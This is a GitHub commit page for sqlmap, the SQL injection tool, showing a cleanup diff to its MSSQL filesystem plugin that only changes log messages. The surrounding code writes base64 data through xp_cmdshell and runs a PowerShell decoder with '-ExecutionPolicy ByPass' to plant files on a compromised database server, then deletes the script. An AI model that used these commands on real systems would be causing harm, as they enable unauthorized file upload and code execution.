Skip to content

Commit b38bd1e

Browse files
committed
code cleanup - issue sqlmapproject#742
1 parent 018748f commit b38bd1e

File tree

1 file changed

+2
-3
lines changed

1 file changed

+2
-3
lines changed

plugins/dbms/mssqlserver/filesystem.py

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -185,16 +185,15 @@ def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType):
185185
wEncodedChunk = encodedFileContent[i:i + chunkMaxSize]
186186
self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File)
187187

188-
#psString = "$Content = [System.Convert]::FromBase64String(\"%s\"); Set-Content -Path \"%s\" -Value $Content -Encoding Byte" % (encodedFileContent, dFile)
189188
psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath
190189
psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = "
191190
psString += "[System.Convert]::FromBase64String($Base64); Set-Content "
192191
psString += "-Path \"%s\" -Value $Content -Encoding Byte" % dFile
193192

194-
logger.debug("uploading the PowerShell base64-decoding script to %s, please wait.." % randPSScriptPath)
193+
logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath)
195194
self.xpCmdshellWriteFile(psString, tmpPath, randPSScript)
196195

197-
logger.debug("executing the PowerShell base64-decoding script to write the %s file" % dFile)
196+
logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile)
198197

199198
commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath,
200199
"del /F /Q \"%s\"" % randPSScriptPath)

0 commit comments

Comments
 (0)